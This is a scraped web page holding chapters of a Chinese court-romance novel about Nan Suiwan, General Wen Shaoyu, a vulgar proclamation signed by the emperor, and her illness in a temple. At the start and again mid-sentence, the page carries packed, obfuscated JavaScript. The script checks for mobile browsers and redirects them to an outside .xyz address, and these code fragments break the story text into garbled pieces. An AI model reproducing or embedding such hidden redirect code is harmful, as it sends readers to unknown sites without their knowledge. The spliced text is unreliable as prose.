d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120988|178826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虞的心被她那绝望而脆弱的眼神刺得生疼,他收起丝帕,不由分说地将她揽入怀中,似乎用自己的体温,去驱散她身上的寒意。 他什么也没说,只是用手臂,给了她一个坚实而沉默的依靠,仿佛在用行动告诉她——有我,我为你兜着。 温少虞的怀抱坚实如山,南岁莞埋首在他胸前,像一只迷途的幼兽,终于找到了可以暂时栖身的洞穴。 她能清晰地听到他沉稳有力的心跳,一下又一下,奇异地安抚了她纷乱欲裂的心绪。 这片刻的安宁,却被一阵急促的脚步声踏碎。“将军!小姐!”两个侍卫踏着残雪,气喘吁吁地跑来,发间肩头都落着被惊动的树上积雪。 他们神色慌张,活像是见了鬼。 “何事惊慌?”温少虞的声音低沉,带着一丝被打扰的不悦,但揽着南岁莞的手臂却未曾松开分毫。 为首的侍卫躬身,急急禀报:“回将军,灵堂…灵堂里忽然落了许多白麻纸,都是乌鸦扔下来的!” 南岁莞心头一紧,从温少虞怀中抬起头,乌鸦? 另一个侍卫跟着补充,语气里满是不可思议:“纸上写的…写的竟是文襄侯生前所著的《讨梁焉檄》!” 温少虞的眉头蹙得更深,南岁莞的心也跟着沉了下去。 两个侍卫对视一眼,你看我,我看你,肩膀僵硬,喉结滚动,一副欲言又止的为难模样。 “还有何事?”温少虞察觉到了他们的异样。 “还有…”其中一人像是下了很大决心,从怀中掏出几张皱巴巴的白麻纸,双手呈上,“乌鸦…也向周遭的村落里投放了白麻纸,只是…只是内容,不一样。” 温少虞松开南岁莞,接过那几张纸,他将纸举在胸腹之间,目光一扫,脸色骤变。 南岁莞离得近,借着他持纸的高度,视线也落了上去,只一眼她便如遭雷击。 这纸上的言辞简直不堪入目!与父亲那篇引经据典、鞭辟入里的檄文截然不同,这更像是一篇市井流氓的骂街长文。 开头劈头盖脸,就说前朝梁焉是尼姑与野和尚的私生子,他父亲梁弘要么阳萎,要么被骗了个彻头彻尾。 南岁莞下意识地舔了舔干涩的嘴唇,额角渗出细密的冷汗,她继续往下看。 接着,檄文又极尽刻薄地嘲讽梁焉的长相,说他脸又扁又瘦,活像乡下木匠钉窗户用的那种镊头钉,甚至还画了一副简笔画在旁边,一个钉子头,两点做眼,一撇为嘴,极尽羞辱。 再往下,便是痛骂梁焉性格拧巴,人前一套背后一套,平日里装得人模狗样,实则一肚子男盗女娼。 字里行间,秽语污言,层出不穷,恨不得将梁焉的祖宗十八代都从坟里刨出来,再挨个泼上几桶污秽。 南岁莞看得脸颊滚烫,心惊肉跳。这…这是谁写的?如此粗鄙,如此下作! 她强忍着不适,一目十行地扫到文末。当看到那个龙飞凤舞的署名时,她的呼吸彻底停滞了。 ——季泸。当今圣上,开国皇帝的名讳。 怎么可能?! 南岁莞猛地抬头,难以置信地望向温少虞,她的眼神里充满了惊骇与询问:这是真的吗?这真的是那位天下共主,能写出来的东西? 她看见,温少虞的脸色比墓园里的残雪还要苍白。他的嘴唇紧紧抿成一条直线,握着纸张的手指节通通泛白。 迎着她探寻的目光,温少虞的眼神复杂难言,有震惊,有无奈,甚至还有一丝…不忍。 最终,他对着她,极其、极其轻微地,点了一下头。那一下,轻得几乎不可察觉,却如同一柄重锤,狠狠砸在南岁莞的心上。 这篇粗鄙不堪、如同地痞骂街的檄文,真的出自当今圣上之手。 那个高坐于龙椅之上,受万民朝拜的九五之尊,在尚未登基之前,曾用这样粗野的方式,去问候他最大的敌人。 15. 重病 “说什么傻话,”温少虞沉声说,语气里带着一丝责备,“照顾你,是我分内之事。” 他顿了顿,放下水碗,用指腹轻轻抹去她唇角的水渍,轻柔得像是在对稀世的珍宝。 “你只要,”他看着她的眼睛,一字一句郑重地说道,“好好地,就行了。” 南岁莞的心像是被那跳跃的火光轻轻烫了一下。她想说些什么,可喉咙里却像被棉花堵住,一个字也吐不出来。 她只怕,她连好好的都做不到。病痛总是搅人心绪,他要求的越少,越显得她连他仅有的要求都做不到,无能至极。 眼皮越来越沉,南岁莞忍着排山倒海的倦意,嗓子扎人浑身乏力,却偏偏怎么也睡不着,不禁又心急了几分。 破庙外,是无边无际的漆黑,唯有雪地反射着一丝微弱的、惨白的光。庙内一盏孤零零的油灯摇曳着,将昏黄的光晕投在土墙上,像一滩化不开的浓墨。 南岁莞躺在临时铺就的软榻上,脸色白得几乎要与外头的雪地融为一体,她烧得厉害,浑身都软绵绵的,提不起一丝力气。 脸颊却烧出两团不正常的酡红,像雪地里落下的两点残血。身上盖着最厚实的狐裘,可那股寒意,依旧顽固地从骨头缝里往外钻,冻得她牙关轻颤。 已经是后半夜了,再过几个时辰,天就要亮了,车队又该启程。 南岁莞一夜未曾安睡,高烧与扰人的心绪一同折磨着她,她费力地睁开眼,视线模糊地落在床前守着的身影上。 是她的贴身侍女,茜草。南岁莞虚弱地抬起手,朝着茜草轻轻挥了挥。 温少虞一直坐在不远处的暗影里,目光从未离开过她,他看懂了她的意思。 他起身,走到床边,声音压得很低,对早已疲惫不堪的茜草说:“你先下去歇着吧,这里有我。” 茜草担忧地看了一眼自家小姐,又看了看温少虞,终是福了一礼,轻手轻脚地退了出去。 禅房里,只剩下他们二人和一室寂静。温少虞伸手,想去更换她额上那块早已失了凉意的布巾。 他的指尖刚要触碰到她的皮肤,忽然,南岁莞伸出双手,紧紧地抱住了他的小臂。 温少虞骤然僵住,他没想到,烧得这样糊涂的她,竟还有这样的力气。那两只小手滚烫得惊人,像两块烙铁,紧紧箍着他。 那热度透过衣料,一路烫进了他的心里,让他心疼得无以复加,整条手臂都悬在半空,他不敢动,怕惊扰了她,又怕抽离会让她失落。 就在这僵持中,南岁莞突然爆发了,眼泪毫无征兆地,一滴,一粒,顺着她的眼角滑落,没入鬓发。 她没有嚎啕,只是无声地流泪,那压抑的悲伤,比任何哭喊都更令人心碎。“为什么…”她的声音沙哑得厉害,像被砂纸磨过,破碎得几乎听不真切。 可温少虞还是听清了,她一直在重复着那三个字:“为什么…为什么…” 他听着她艰难而沉闷的呼吸声,每一次起伏都像一把钝刀,在他的心上慢慢地割。他没有再说话,只是任由她抱着自己的手臂。 他的脑子却在飞速地转动,他在想她到底在问什么。 是为什么父亲要这般骤然地离她而去,留下她一人在这世上;还是为什么那百日的婚期步步紧逼,不给人一丝喘息的余地? 是为什么这场风雪要来得这样大,仿佛要将天地都封冻将归途都断绝;抑或为什么她自己的身子总是这般孱弱,连最基本的康健都成了一种奢望? 还是为什么那看似平淡安稳的幸福,会被一只无形的大手在一夜之间,撕扯得支离破碎,扭曲变形? 温少虞的心,被这些猜测揪得生疼。他想告诉她一切有我,可是他又值什么、他又能做什么。 温少虞心如刀绞,却只能沉默,因为他知道“为什么”的答案,大抵比父葬还要沉重。 四年前那场剿匪的血海深仇,是那一场将她从山野拽入尘网,又将他从她身边生生剥离的滔天巨浪。 这四年,不过是丞相为她偷来的镜花水月,一场用谎言编织的甜美的梦。 温少虞曾无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132026|178826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比希望,她能将这份甜美当作理所当然,将这安稳岁月刻入骨髓。可如今,他看着她病中脆弱的模样,却又怕了。 倘若她习惯了这被呵护的安逸,有朝一日,当真相如山崩地裂般袭来,她又该如何承受? 万一…她想起了所有…温少虞不敢再想下去,他猛地闭了闭眼,将翻涌的思绪强压下去。 他转而想到自己,跟着他,南岁莞就真的能安定吗? 朝堂之上,风云诡谲。长公主的势力日渐衰微,而小皇子一脉却如日中天。那位春秋鼎盛的陛下,心早就长偏了。 猜忌的种子一旦种下,便会疯狂滋长。 将军府、相府向来与长公主一脉相交最笃。五年前,小皇子未出生时,长公主是帝位唯一的继承人选。 陛下为了堵住悠悠众口,为了稳固他尚无子嗣的江山,不得不将满朝重臣,都推向长公主。 可自从小皇子呱呱坠地,他们这些曾经被倚重的老臣,便一夜之间,成了昨日黄花。那位年过五旬的君主,仿佛瞬间觉得自己还能再活二十年,再也不需要他们这些旧人了。 小皇子背后的贵妃与谢家,更是步步紧逼不留余地。如今,长公主一脉连最足智多谋的丞相都去了… 温少虞的脑海里,又浮现出陛下那张看不出喜怒的脸:“南相生前,曾有托孤之意,望朕将岁莞许你为妻。” 这句话,犹在耳畔,可丞相当时的期望到底是什么?这风雨飘摇的朝局,早已容不下他温少虞,她嫁给他,真的会幸福吗? 或者说…这根本就不是丞相的意思,只是陛下随口编造的谎言? 一个又一个的谜团,像一张密不透风的网,将他牢牢困住,他想不通,却又必须想通,思绪在几个眨眼间已是波涛汹涌。 禅房内的火光明明灭灭,映着他晦暗不明的脸。可压垮他心防的最后一根稻草,却来得如此轻,如此猝不及防。 他听见怀中的女子,用一种近乎于梦呓的、飘渺的声音,轻轻地说:“要不……我也随父亲,走了罢了。”